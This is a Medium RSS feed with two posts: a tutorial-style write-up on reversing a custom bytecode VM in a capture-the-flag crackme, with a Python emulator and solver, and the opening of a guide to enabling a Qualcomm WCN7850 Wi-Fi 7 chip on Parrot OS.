<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cody Richard on Medium]]></title>
        <description><![CDATA[Stories by Cody Richard on Medium]]></description>
        <link>https://medium.com/@ssstrickys?source=rss-322a725f72eb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fmcv-u_aKdNoUmTL79n6Sg.jpeg</url>
            <title>Stories by Cody Richard on Medium</title>
            <link>https://medium.com/@ssstrickys?source=rss-322a725f72eb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 16:50:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ssstrickys/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ghost in the Machine: Reverse Engineering a Custom VM, One Opcode at a Time]]></title>
            <link>https://ssstrickys.medium.com/ghost-in-the-machine-reverse-engineering-a-custom-vm-one-opcode-at-a-time-d7f20afd050c?source=rss-322a725f72eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7f20afd050c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Cody Richard]]></dc:creator>
            <pubDate>Wed, 03 Jun 2026 06:44:05 GMT</pubDate>
            <atom:updated>2026-06-03T06:49:30.246Z</atom:updated>
            <content:encoded><![CDATA[<p>How a <strong>666-byte blob of bytecode</strong> turned <strong>into a flag</strong>, and what it teaches about<strong> virtual-machine reversing</strong></p><p>There’s a moment in <strong>every good reverse-engineering challenge</strong> where the thing you’re <strong>staring at stops being a binary and starts being a language</strong>. You’re no longer <strong>reading someone else’s program</strong> but y<strong>ou’re reading a program that runs another program</strong>, and your job is to<strong> learn the grammar of a machine</strong> that has <strong>never existed anywhere</strong> except inside this one <strong>executable</strong>.</p><p>That’s what the <strong>ghost</strong> was. A <strong>stripped Linux binary</strong>, <strong>fifteen kilobytes</strong>, that asks you for a<strong> passphrase</strong> and <strong>answers with exactly one of two words</strong>: “<strong>Correct!</strong>” or “<strong>Wrong.</strong>” <strong>No hints</strong>. <strong>No error messages</strong>. <strong>No mercy</strong>.</p><pre>$ ./ghost test<br>Wrong.</pre><p>The<strong> README</strong> said one thing that mattered: “<strong>Something unusual is running inside</strong>.”</p><p>It <strong>wasn’t kidding</strong>. Inside was a <strong>hand-rolled stack-based virtual machine</strong> was a <strong>tiny CPU</strong> made of nothing but <strong>bytes</strong> that was <strong>validating </strong>the passphrase through <strong>45 chained comparison checks</strong>. This post walks the <strong>whole solve</strong>, from <strong>first</strong> file command to <strong>final flag</strong>, and along the way it&#39;s a <strong>working tutorial</strong> on how to<strong> reverse a VM-in-a-binary</strong> even if <strong>you&#39;ve never done it before</strong>. No prior <strong>VM-reversing experience required</strong>. We&#39;ll build the <strong>concepts</strong> as we go.</p><p><strong>What is a “VM inside a binary,” and why do challenge authors love them?</strong></p><p><strong>Normally when you reverse a program</strong>, you read its machine code directly. <strong>x86, ARM, the CPU runs those instructions</strong>, and tools like <strong>Ghidra or IDA decompile</strong> them into something <strong>resembling C</strong>. You read<strong> the C</strong>. You understand <strong>the program</strong>. Done.</p><p>A <strong>bytecode VM</strong> breaks that comfortable<strong> workflow</strong> on purpose. Instead of letting the<strong> real CPU</strong> execute the <strong>secret logic</strong>, the<strong> author writes</strong> their own <strong>instruction</strong> set a made-up <strong>CPU </strong>and ships<strong> two things</strong>: a <strong>blob of bytecode</strong> (<strong>the secret logic, expressed in this invented language</strong>), and an <strong>interpreter</strong> (<strong>a loop in real machine code that reads the bytecode one instruction at a time and does what each one says</strong>).</p><p>Picture a <strong>board game</strong>. The<strong> bytecode</strong> is the <strong>deck of instruction cards</strong>. The <strong>interpreter</strong> is the<strong> rulebook</strong> that says “<strong>when you draw a card with a 0x20 on it, add the top two numbers on your scratchpad</strong>.”<strong> Reversing</strong> the<strong> binary</strong> only shows you the <strong>rulebook</strong>. <strong>To beat the game</strong> you have to also<strong> read the cards</strong>, and figure out <strong>what winning even looks like</strong>.</p><p>This is why<strong> authors</strong> love it: your <strong>decompiler</strong> shows you a clean, simple <strong>dispatch loop</strong> and a meaningless pile of <strong>bytes</strong>. The actual<strong> challenge logic</strong> is invisible until you reconstruct the<strong> language yourself</strong>.</p><p>So that’s the plan, and it’s the same plan for every VM challenge you’ll ever see. Find the bytecode (<strong>the cards</strong>). Find the interpreter loop (<strong>the dealer</strong>). Recover the instruction set, and what each opcode does (<strong>the rulebook</strong>). Re-implement the VM yourself in Python (<strong>build your own table</strong>). Then use your copy to solve for the input that wins. Let’s go.</p><h4><strong>Step 1 — Reconnaissance: what are we even holding?</strong></h4><p>First question, always: <strong>what is this file</strong>?</p><pre>$ file ghost<br>ghost: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),<br> dynamically linked, ... stripped</pre><p><strong>Two words</strong> there set the tone. <strong>PIE</strong> means<strong> position-independent</strong> the binary doesn’t assume a<strong> fixed address</strong> in memory, which changes how we <strong>calculate</strong> where things live. <strong>Stripped</strong> means the <strong>author deleted</strong> all the <strong>symbol</strong> names. There’s no friendly<strong> check_password()</strong> function to <strong>jump</strong> to; everything is <strong>anonymous addresses like 0x112c</strong>. This is normal for<strong> CTF</strong> binaries and not a reason to panic it just means we <strong>navigate</strong> by <strong>structure</strong> instead of by <strong>name</strong>.</p><p>Next, the<strong> section layout</strong> the floor plan of the binary:</p><pre>$ readelf -S ghost | grep -E &#39;text|data|bss&#39;<br> [16] .text   PROGBITS  0x10e0  0x619    &lt;- executable code (the interpreter)<br> [18] .rodata PROGBITS  0x2000  0x1f4    &lt;- read-only constants<br> [25] .data   PROGBITS  0x4000  0x440    &lt;- initialized data (bytecode lives here)<br> [26] .bss    NOBITS    0x4440  0x260    &lt;- zeroed scratch memory at startup</pre><p>If you’re new to<strong> ELF binaries</strong>, here’s <strong>the only mental model you need</strong> for now. The<strong> .text section</strong> is the code the <strong>real CPU</strong> runs our <strong>interpreter</strong> is in <strong>here</strong>. The <strong>.data section</strong> is <strong>pre-filled</strong> data baked into the file, and our <strong>bytecode is hiding in here</strong>. And <strong>.bss is scratch space</strong> that starts as <strong>all zeros</strong> when the <strong>program launches</strong>. Remember that<strong> last one</strong>. It becomes the<strong> hero</strong> of the story later.</p><h4><strong>Step 2 — Finding the cards: locating the bytecode</strong></h4><p>We know the<strong> bytecode</strong> is somewhere in <strong>.data</strong>. To find <strong>exactly </strong>where, we look at how <strong>main()</strong> sets itself up before the <strong>interpreter loop </strong>starts:</p><pre>; inside main()<br>mov  r11d, [rip + 0x2f00]   ; r11d = 666  &lt;- length of the bytecode<br>lea  r9,   [rip + 0x2f0d]   ; r9 = pointer to the bytecode itself</pre><p>That first line is a <strong>gift</strong>. The program loads the constant <strong>666</strong> into a register and if you’ve ever seen a horror movie, a program literally counting to <strong>666</strong> is the kind of detail that makes you grin. That’s our <strong>bytecode length</strong>. The second line <strong>computes a pointer</strong> to the bytes themselves.</p><p>Doing the address math (<strong>this is the PIE part we translate the runtime address back to a file offset</strong>), the bytecode begins at file offset 0x3040 and runs for 666 bytes. That’s our deck of cards. We’ll carve it out in Python in a minute.</p><p>One quirky detail worth <strong>flagging </strong>now, because it’s the <strong>kind of thing</strong> that <strong>wastes an hour if it surprises you later</strong>: the interpreter also has a step counter that <strong>maxes out at 100,000</strong>. If the <strong>VM</strong> ever ran that many <strong>instructions</strong>, it would also declare<strong> victory</strong>. It’s a <strong>dead-end trap</strong> in practice the<strong> passphrase</strong> check always finishes long before then. But it’s the sort of <strong>red herring authors plant</strong> to make you doubt your <strong>understanding</strong>. File it away and move on.</p><h4><strong>Step 3 — Watching the dealer: the interpreter loop</strong></h4><p>Here’s the <strong>heart of the machine</strong>, cleaned up from the <strong>disassembly</strong> into pseudocode:</p><pre>main(argc, argv):<br>    if argc != 2: print usage; exit<br>    rbx = argv[1]            ; pointer to our passphrase<br>    r9  = bytecode_base      ; the deck (file offset 0x3040)<br>    r10 = jump_table         ; a lookup table of handlers<br>    r8d = 0                  ; the &quot;program counter&quot; — which card we&#39;re on<br><br>loop:<br>    opcode = bytecode[r8]          ; draw the current card<br>    index  = opcode - 0x10         ; normalize it<br>    if index &gt; 0x62: goto WRONG    ; invalid card -&gt; you lose<br>    jump to handler[index]         ; do what the card says</pre><p>This is the <strong>dispatch loop</strong>, and once you’ve <strong>seen one</strong> you’ve seen them all. Every <strong>bytecode VM</strong> on earth boils down to: <strong>fetch the next opcode</strong>, l<strong>ook up its handler</strong>, <strong>run it</strong>,<strong> repeat</strong>.</p><p>The <strong>interesting machinery</strong> is that last line. There’s a <strong>jump table</strong> which is an array of addresses, one per opcode sitting at address <strong>0x2068</strong>. Opcode <strong>0x10’s</strong> handler is the first entry,<strong> 0x11’s</strong> is the second, and so on. The <strong>VM</strong> uses the opcode as an<strong> index into this table</strong> to find the code that implements it.</p><p>This table is the Rosetta Stone of the whole challenge. It contains 99 entries (<strong>covering opcodes 0x10 through 0x72</strong>). Disassemble the handler each entry points to, and you learn precisely what that one instruction does. Do all 99 and you’ve recovered the entire language. So that’s the grind. Let’s do it.</p><h4><strong>Step 4 — Recovering the instruction set</strong></h4><p>This is the part that feels like archaeology. You walk the jump table, follow each pointer into .text, read the handful of assembly instructions there, and write down what the opcode means. After working through all the live handlers, a clean and frankly elegant little instruction set falls out.</p><p>It’s a <strong>stack machine</strong>, which is the simplest kind of VM to reason about. There’s no complicated <strong>set of registers</strong> an just a stack (<strong>a pile of bytes where you can push a new value on top or pop the top one off</strong>) and a few operations that consume the top items and push back a result. Every value is a <strong>single byte</strong>; anything bigger wraps around (<strong>&amp; 0xFF</strong>), exactly like 8-bit arithmetic on old hardware.</p><p>Here’s the full recovered instruction set:</p><pre>OPCODE     MNEMONIC    WHAT IT DOES<br>--------   ---------   ------------------------------------------------<br>10 XX      PUSH        Push the byte XX onto the stack<br>11         POP         Throw away the top of the stack<br>12         DUP         Duplicate the top of the stack<br>20         ADD         Pop two, push their sum<br>21         SUB         Pop two, push their difference<br>22         XOR         Pop two, push their XOR<br>23         MUL         Pop two, push their product (low byte)<br>24         ROL         Pop count + value, rotate-left the bits<br>25         AND         Pop two, push their bitwise AND<br>30 XX      KVLOAD      Push the value stored at slot XX of a key-value store<br>31 XX      KVSTORE     Pop a value and write it into slot XX of the store<br>40 XX      INPUT       Push passphrase[XX] — a character of OUR input<br>50         CMP         Pop two; set an internal flag to 1 if they&#39;re equal<br>60 XX YY   JNZ         If the flag is set, jump to address (YY&lt;&lt;8 | XX)<br>61 XX YY   JZ          If the flag is NOT set, jump there<br>62 XX YY   JMP         Always jump there<br>71         CORRECT     Print &#39;Correct!&#39; and exit<br>72         WRONG       Print &#39;Wrong.&#39; and exit<br>99 / 02    NOP         Do nothing (padding)</pre><p>If you’ve never read an instruction table before: each row is one card in our deck. The <strong>XX and YY</strong> are <strong>operands</strong>, and extra bytes that ride along with the instruction. <strong>PUSH</strong> needs to know what to push, so “<strong>10 5a</strong>” means “<strong>push the byte 0x5a</strong>.” <strong>JMP</strong> needs to know where to<strong> jump</strong>, so it carries a<strong> two-byte</strong> address.</p><p><strong>Most of these</strong> are exactly what they sound like <strong>ADD </strong>add <strong>XOR</strong> xors. <strong>INPUT</strong> grabs a character of the passphrase we typed. <strong>CMP </strong>checks if two things are <strong>equal</strong> and remembers the answer in a <strong>one-bit flag</strong>, which the<strong> jump</strong> instructions then consult. Standard <strong>stack-machine</strong> fare.</p><p>But two of these opcodes<strong> KVLOAD</strong> and <strong>KVSTORE</strong> are the entire challenge. And the first time I solved this, I got them wrong, and so did my emulator, and so did the flag it produced. Let me explain the trap, because it’s the most instructive part of the whole thing.</p><h4><strong>Step 5 — The trap that produces a beautiful, confident, wrong answer</strong></h4><p>Remember <strong>.bss</strong> is the <strong>scratch memory</strong> that starts as all zeros? <strong>KVSTORE</strong> and <strong>KVLOAD</strong> are how the bytecode talks to it. Think of it as a row of <strong>256</strong> numbered lockers, all empty at the start. <strong>KVSTORE</strong> 0 means: take the value off the top of the stack and put it in <strong>locker 0</strong>. <strong>KVLOAD 0</strong> means: read whatever’s in locker 0 and push a copy onto the stack.</p><p>Early in the bytecode, before checking any characters, the VM does this:</p><pre>10 5a    PUSH 0x5a      ; put the value 0x5a on the stack<br>31 00    KVSTORE kv[0]  ; stash it in locker 0</pre><p>It seeds <strong>locker 0</strong> with <strong>0x5a</strong>. And then this is the clever part after validating each character of the passphrase, it updates that locker:</p><pre>30 00    KVLOAD kv[0]   ; read locker 0 (the running total)<br>40 03    INPUT[3]       ; read passphrase character #3<br>20       ADD            ; add them together<br>31 00    KVSTORE kv[0]  ; write the new total back into locker 0</pre><p><strong>Do you see what that does</strong>? Every character check changes a value that the next character check depends on. <strong>Locker 0</strong> is a rolling accumulator that chains <strong>all 37 </strong>checks into one long sequence. Character <strong>#10</strong> isn’t validated against a fixed constant — it’s validated against a number that depends on characters <strong>#0</strong> through <strong>#9</strong>. Pull out any character and everything downstream collapses.</p><p>Here’s the seductive trap. When I first <strong>built my emulator</strong>, I treated <strong>KVSTORE</strong> as a dead write then pop the value and throw it away, who cares. Which meant every<strong> KVLOAD</strong> read back 0 from an <strong>empty locker</strong>. The <strong>emulator still ran</strong>. It still produced an<strong> answer.</strong> And the <strong>answer</strong> it produced was:</p><pre>SDG!ad3ab2968...</pre><p>Look closely. The <strong>fourth character</strong> is “<strong>!</strong>”, not “<strong>{</strong>“. Every <strong>other character</strong> looked perfect. The flag was <strong>almost right</strong>, in the most convincing possible way because the<strong> broken emulator</strong> was perfectly<strong> self-consistent</strong> with itself. It just <strong>didn’t match</strong> the actual binary.</p><p>Why “!” instead of “<strong>{</strong>“? The<strong> real check</strong> at that position is: passphrase[3] XOR locker[0] == 0x21. With the <strong>locker correctly holding</strong> 0x5a, the answer is <strong>0x7b </strong>and the character “<strong>{</strong>“, exactly what a<strong> flag’s</strong> opening brace should be. With the <strong>locker wrongly</strong> holding 0, the <strong>answer is</strong> 0x21 which is “<strong>!</strong>”. Both <strong>satisfy</strong> “XOR to 0x21.” Only <strong>one</strong> is real.</p><p>The lesson here is the most important one in this entire writeup: when one opcode writes to a memory address, hunt down every opcode that reads from that same address before you trust your model. A store with no corresponding load is rare. If you assume it’s dead, you can build an emulator that is flawless, internally consistent, and confidently wrong. Always verify your solver’s output against the real binary never against your own emulator.</p><p>That single fix — modeling the lockers as real, persistent storage is what turned a plausible fake into the actual flag.</p><h4>Step 6 — Anatomy of a single character check</h4><p>Once the <strong>key-value store</strong> clicked, the rest of the <strong>bytecode</strong> read like a sentence. Characters <strong>3 through 35 </strong>all follow the same tidy <strong>18-byte template</strong>. Each one does two independent transformations of the character, checks each ag<strong>ainst a hardcoded expected value</strong>, and then folds the character into <strong>the rolling locker.</strong> Here’s the pattern, annotated:</p><pre>; --- Check #1: transform the character and compare ---<br>40 NN    INPUT[N]        ; push passphrase character N<br>10 K1    PUSH k1         ; push a transform constant<br>&lt;op&gt;     (XOR/ADD/MUL)   ; apply some operation<br>10 E1    PUSH expected1  ; push the value it should equal<br>50       CMP             ; equal?<br>61 ..    JZ -&gt; WRONG     ; if not, you lose<br><br>; --- Update the rolling state ---<br>30 00    KVLOAD kv[0]    ; read the running total<br>40 NN    INPUT[N]        ; read the character again<br>20       ADD             ; total = total + char<br>31 00    KVSTORE kv[0]   ; write it back<br><br>; --- Check #2: transform again, now mixing in the updated state ---<br>40 NN    INPUT[N]        ; push the character<br>30 00    KVLOAD kv[0]    ; push the (just-updated) running total<br>22       XOR             ; mix them<br>10 E2    PUSH expected2<br>50       CMP<br>61 ..    JZ -&gt; WRONG</pre><p>Two<strong> checks per character</strong>, plus a <strong>state update</strong> sandwiched between them. The first few are even <strong>simpler</strong> and show the variety of <strong>operations</strong> the author used. Character 0 (“<strong>S</strong>”) checks <strong>(input XOR 0x13</strong>) + 0x07 == 0x47. Character 1 (“<strong>D</strong>”) checks (<strong>input × 0x21</strong>) XOR 0x6c == 0xa8. Character 2 (“<strong>G</strong>”) checks ROL(<strong>input, 3</strong>) XOR 0x27 == 0x1d. And character 3 (“<strong>{</strong>“) checks input XOR locker[0] == 0x21 is the first one that touches the rolling state.</p><p>Nothing here is mathematically hard. There’s no crypto, no big-number theory, no clever math trick. The entire <strong>difficulty is bookkeeping</strong> correctly tracking how the lockers evolve as you sweep through <strong>the string</strong>. Which is exactly the <strong>kind of tedious</strong>, <strong>error-prone</strong> state-tracking that<strong> computers</strong> are spectacularly good at and <strong>humans</strong> are not. So we hand it to a <strong>computer</strong>.</p><h4><strong>Step 7 — Building your own copy of the machine</strong></h4><p>This is the payoff move in <strong>VM reversing</strong>, and it’s worth saying plainly because it’s the thing that makes these challenges tractable: once you understand the rulebook, you re-implement the <strong>entire VM</strong> in a few dozen lines of <strong>Python</strong>. Now you have a perfect, inspectable clone of the machine that you can instrument, pause, and interrogate however you like.</p><p>Here’s the <strong>emulator </strong>and notice how it’s just a direct <strong>transcription</strong> of the instruction table above:</p><pre>#!/usr/bin/env python3<br># ghost_vm.py — a faithful re-implementation of the ghost VM<br><br>def rol8(val, n):<br>    n &amp;= 7<br>    return ((val &lt;&lt; n) | (val &gt;&gt; (8 - n))) &amp; 0xFF<br><br>def emulate(bytecode, passphrase, collect_cmps=False):<br>    stack = []<br>    kv = {}          # the key-value store: the 256 lockers<br>    flag = 0         # the one-bit comparison flag<br>    pc = 0           # program counter — which byte we&#39;re on<br>    cmps = []        # a log of every comparison, for the solver<br><br>    def push(v): stack.append(v &amp; 0xFF)<br>    def pop():   return stack.pop() if stack else 0<br><br>    while pc &lt; len(bytecode):<br>        op = bytecode[pc]<br>        if   op == 0x10: push(bytecode[pc+1]); pc += 2          # PUSH<br>        elif op == 0x11: pop(); pc += 1                          # POP<br>        elif op == 0x12:                                         # DUP<br>            if stack: push(stack[-1])<br>            pc += 1<br>        elif op == 0x20: b=pop(); a=pop(); push((a+b)&amp;0xFF); pc+=1  # ADD<br>        elif op == 0x21: b=pop(); a=pop(); push((a-b)&amp;0xFF); pc+=1  # SUB<br>        elif op == 0x22: b=pop(); a=pop(); push(a^b);        pc+=1  # XOR<br>        elif op == 0x23: b=pop(); a=pop(); push((a*b)&amp;0xFF); pc+=1  # MUL<br>        elif op == 0x24: b=pop(); a=pop(); push(rol8(a,b));  pc+=1  # ROL<br>        elif op == 0x25: b=pop(); a=pop(); push(a&amp;b);        pc+=1  # AND<br>        elif op == 0x30: push(kv.get(bytecode[pc+1], 0)); pc += 2   # KVLOAD<br>        elif op == 0x31: kv[bytecode[pc+1]] = pop();      pc += 2   # KVSTORE<br>        elif op == 0x40:                                        # INPUT<br>            idx = bytecode[pc+1]<br>            push(passphrase[idx] if idx &lt; len(passphrase) else 0)<br>            pc += 2<br>        elif op == 0x50:                                        # CMP<br>            b=pop(); a=pop()<br>            flag = 1 if a == b else 0<br>            if collect_cmps:<br>                cmps.append({&#39;pc&#39;: pc, &#39;a&#39;: a, &#39;b&#39;: b, &#39;match&#39;: flag == 1})<br>            pc += 1<br>        elif op == 0x60:                                        # JNZ<br>            t = bytecode[pc+1] | (bytecode[pc+2] &lt;&lt; 8)<br>            pc = t if flag else pc + 3<br>        elif op == 0x61:                                        # JZ<br>            t = bytecode[pc+1] | (bytecode[pc+2] &lt;&lt; 8)<br>            pc = t if not flag else pc + 3<br>        elif op == 0x62:                                        # JMP<br>            pc = bytecode[pc+1] | (bytecode[pc+2] &lt;&lt; 8)<br>        elif op == 0x71: return True,  cmps                     # CORRECT<br>        elif op == 0x72: return False, cmps                     # WRONG<br>        elif op in (0x99, 0x02, 0x00): pc += 1                  # NOP<br>        else: pc += 1                                           # unknown: skip<br>    return False, cmps</pre><p>That’s the <strong>whole machine</strong>. The two details that matter most: <strong>INPUT</strong> (<strong>0x40</strong>) reads from our passphrase, while <strong>KVLOAD</strong> (<strong>0x30</strong>) reads from the internal lockers confusing these two was one of the early dead ends. And <strong>KVSTORE</strong> (<strong>0x31</strong>) genuinely persists its value into the kv dict, which is the fix that makes everything work. There’s also a <strong>collect_cmps</strong> switch that logs every single comparison the VM makes what it compared, and whether it matched. That logging is about to become our <strong>solving superpower</strong>.</p><h4><strong>Step 8 — Solving without brute-forcing the universe</strong></h4><p>The flag is <strong>37</strong> characters.<strong> Brute-forcing</strong> all of them at once is<strong> laughably impossible</strong> that’s <strong>95³⁷</strong> combinations, more than there are atoms in anything you’d care to name.</p><p>But we don’t have to. The<strong> rolling-state</strong> design that made the challenge tricky also makes it solvable, because of a <strong>beautiful property</strong>: at any given moment, the <strong>first check</strong> that’s failing depends on exactly one <strong>unsolved character</strong>. The checks happen in order. The rolling state means <strong>check #N</strong> <strong>can’t</strong> even be evaluated correctly until checks<strong> #0 through #N-1 pass</strong>. So if we fix the characters<strong> left to right</strong>, there’s always precisely one character that controls the current frontier of failure. That collapses the problem from “<strong>guess 37 characters simultaneously</strong>” to “<strong>guess one character, 37 times.</strong>”</p><p>The <strong>strategy is straightforward</strong>. Start with what we know the flag almost certainly opens with the challenge’s <strong>SDG{ prefix and closes with }</strong>, so we zero out everything in between. Run the <strong>instrumented emulator </strong>and find the <strong>first comparison</strong> that fails. For each <strong>still-unknown position</strong>, try every printable <strong>ASCII character</strong> (<strong>0x20 through 0x7e, just 95 options</strong>) and find the one that fixes that failing check without breaking any check that was already passing. Lock in the winner, mark that position solved, and repeat. Stop when the emulator hits the <strong>CORRECT opcode</strong>.</p><p>Because each step is <strong>constrained</strong> to a single character, this<strong> greedy sweep marches</strong> straight to the answer with <strong>no backtracking</strong>. Here’s the core of it:</p><pre>data = open(&#39;ghost&#39;, &#39;rb&#39;).read()<br>bc = data[0x3040:0x3040 + 666]              # carve out the bytecode<br>PRINTABLE = list(range(0x20, 0x7F))         # printable ASCII<br><br>known = bytearray(37)<br>known[0:4] = b&#39;SDG{&#39;                         # known prefix<br>known[36]  = ord(&#39;}&#39;)                        # known suffix<br>solved = {0, 1, 2, 3, 36}<br><br>for iteration in range(50):<br>    result, cmps = emulate(bc, bytes(known), collect_cmps=True)<br>    if result:<br>        print(f&#39;[+] FLAG: {bytes(known).decode()}&#39;)<br>        break<br><br>    # the first genuinely failing comparison (skip length sentinel at pc=12)<br>    fail = next((c for c in cmps if not c[&#39;match&#39;] and c[&#39;pc&#39;] != 12), None)<br>    current_pass = sum(1 for c in cmps if c[&#39;match&#39;] and c[&#39;pc&#39;] != 12)<br><br>    found_idx = found_val = best_pass = None<br>    for idx in range(37):<br>        if idx in solved:<br>            continue<br>        for v in PRINTABLE:<br>            test = bytearray(known); test[idx] = v<br>            _, cmps2 = emulate(bc, bytes(test), collect_cmps=True)<br>            cfail2 = next((c for c in cmps2 if c[&#39;pc&#39;] == fail[&#39;pc&#39;]), None)<br>            pass2  = sum(1 for c in cmps2 if c[&#39;match&#39;] and c[&#39;pc&#39;] != 12)<br>            # does this char fix the failing check without regressing others?<br>            if cfail2 and cfail2[&#39;match&#39;] and pass2 &gt;= current_pass:<br>                if best_pass is None or pass2 &gt; best_pass:<br>                    found_idx, found_val, best_pass = idx, v, pass2<br>        if found_idx is not None:<br>            break<br><br>    known[found_idx] = found_val<br>    solved.add(found_idx)<br>    print(f&quot;[iter {iteration:2d}] idx={found_idx:2d} -&gt; &#39;{chr(found_val)}&#39;&quot;)</pre><p>One subtlety baked into that code: there’s a comparison at pc=12 that’s a length sentinel, not a <strong>real check</strong> it deliberately fails to <strong>confirm the closing character</strong> isn’t a null byte. Early on <strong>I mistook it</strong> for a check I needed to satisfy and <strong>chased my tail</strong>. Always distinguish “<strong>this comparison failed to match a value</strong>” from “t<strong>his comparison is an intentional gate on the wrong path.</strong>”</p><h4><strong>Step 9 — The flag falls out</strong></h4><p>Running the solver is genuinely satisfying. It r<strong>ecovers the flag one character at a time</strong>, each iteration <strong>unlocking the next</strong>, the partial string growing in front of you:</p><pre>[iter  0] idx= 4 -&gt; &#39;a&#39;   SDG{a<br>[iter  1] idx= 5 -&gt; &#39;d&#39;   SDG{ad<br>[iter  2] idx= 6 -&gt; &#39;3&#39;   SDG{ad3<br>[iter  3] idx= 7 -&gt; &#39;a&#39;   SDG{ad3a<br>...<br>[iter 30] idx=34 -&gt; &#39;d&#39;   SDG{ad3ab2968f77e8e6f3ebc626cca75fd<br>[iter 35] idx=35 -&gt; &#39;4&#39;   SDG{ad3ab2968f77e8e6f3ebc626cca75fd4}</pre><p><strong>Thirty-six iterations</strong>. Then the moment of truth. We don’t<strong> trust</strong> the emulator, we ask the<strong> actual binary</strong>:</p><pre>$ ./ghost &#39;SDG{ad3ab2968f77e8e6f3ebc626cca75fd4}&#39;<br>Correct!</pre><p>There it is: <strong>SDG{ad3ab2968f77e8e6f3ebc626cca75fd4}</strong></p><h4><strong>What this challenge actually teaches</strong></h4><p>If you take nothing else from this, take these five things — they generalize to basically every VM-reversing challenge you’ll ever meet.</p><p>Read the handlers, not your hunches. My first opcode map came from pattern-matching the bytecode, and it had INPUT and KVLOAD swapped. Bytecode inference guesses; handler disassembly knows. When the two disagree, the disassembly wins, always.</p><p>Trace every store to its load. The single <strong>hardest bug</strong> in this challenge was assuming a <strong>write was dead</strong>. One <strong>opcode</strong> wrote to a memory slot; another read from it; <strong>missing that link</strong> produced a <strong>flawless emulator</strong> that generated a <strong>wrong flag</strong>. If something gets<strong> written</strong>, find out<strong> who reads it</strong>.</p><p>A self-<strong>consistent emulator</strong> can still be a wrong one. <strong>SDG!ad3a</strong>… looked great. It was internally <strong>coherent</strong>. It was also<strong> fiction</strong>. Your emulator agreeing with itself proves nothing. Verify against <strong>ground truth</strong> the real <strong>binary</strong> every time.</p><p><strong>Powerful tools</strong> aren’t <strong>universal tools</strong>. I threw angr (<strong>a symbolic-execution engine, the kind of tool that can sometimes solve these automatically</strong>) at this and it silently exhausted every path without finding the answer, in the tangle of jumps all pointing at the same <strong>WRONG</strong> block pruned the real path early. A <strong>hand-written 80-line emulator</strong> with <strong>comparison logging</strong> beat the <strong>heavyweight tool</strong> decisively. Know when to put the <strong>power tool down</strong> and build the <strong>simple</strong> thing.</p><p>Let the design’s strength become your lever. The <strong>rolling state</strong> was the <strong>author’s cleverest defense </strong>and it was also the <strong>exact property</strong> that guaranteed a <strong>one-character-at-a-time</strong> greedy solve with <strong>no backtracking</strong>. The thing that makes a<strong> challenge hard</strong> often contains the thing that makes it <strong>solvable</strong>. Look for it.</p><p><strong>VM reversing has a reputation for being intimidating</strong>, and the <strong>first time</strong> you open one of these it genuinely is a <strong>wall of meaningless bytes</strong> and an <strong>interpreter loop</strong> that tells you <strong>nothing</strong>. But the process is mechanical and it always rhymes: find the bytecode, find the loop, recover the opcodes, rebuild the machine, then use your machine to solve. <strong>Every custom VM</strong> you’ll ever crack yields to that same <strong>five-step rhythm.</strong></p><p>The ghost author built a genuinely elegant little machine, and it was a basic arithmetic, one sneaky feedback loop, zero wasted bytes. No individual piece was hard. The challenge was seeing all the pieces clearly at the same time, especially the one hidden in a row of lockers in .bss that a careless emulator would never notice.</p><p>That’s the <strong>ghost in the machine</strong>. Now you know how to catch one.</p><p><strong>Tools used</strong>: <strong>Python 3.12 (stdlib only)</strong> for the emulator and solver, <strong>capstone</strong> for disassembling the handlers, <strong>angr</strong> for the symbolic-execution attempt that didn’t pan out, and <strong>readelf/file</strong> for ELF recon. The <strong>entire solve was about one extended session</strong> of iterative emulator refinement most of it spent on that <strong>one key-value store</strong> insight.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7f20afd050c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Getting Wi-Fi 7 Working on Parrot OS (Qualcomm WCN7850 / ath12k)]]></title>
            <link>https://ssstrickys.medium.com/getting-wi-fi-7-working-on-parrot-os-qualcomm-wcn7850-ath12k-18cf91b24174?source=rss-322a725f72eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/18cf91b24174</guid>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Cody Richard]]></dc:creator>
            <pubDate>Sat, 15 Nov 2025 22:59:15 GMT</pubDate>
            <atom:updated>2025-11-15T23:00:14.318Z</atom:updated>
            <content:encoded><![CDATA[<p>For a while, Parrot OS users with newer laptops and desktops have been running into the same issue. Wi-Fi hardware not showing up at all. The problem traces back to missing or outdated kernel and firmware support for Qualcomm’s WCN7850 chip, which powers many Wi-Fi 7 devices.</p><p>After troubleshooting firmware gaps, kernel mismatches, and missing driver modules, I built a reproducible setup that gets this chip-set working cleanly on Parrot OS. Everything below has been verified and tested from a clean install.</p><h3>Why It Happens</h3><p>Parrot OS ships with a kernel that’s often slightly behind the bleeding edge. The WCN7850 relies on the ath12k driver family, which wasn’t fully integrated until kernel versions above 6.6.</p><p>Even with the latest firmware package, the system may still fail to load ath12k_pci properly if kernel–header mismatches or old firmware blobs exist under /lib/firmware/ath12k/WCN7850/.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*14G3rSAP8YeUGtXS6VSZzw.png" /></figure><h3>Installation Steps</h3><h3>1. Install the Backport Kernel and Firmware</h3><pre>sudo apt update<br>sudo apt install -t lory-backports linux-image-amd64 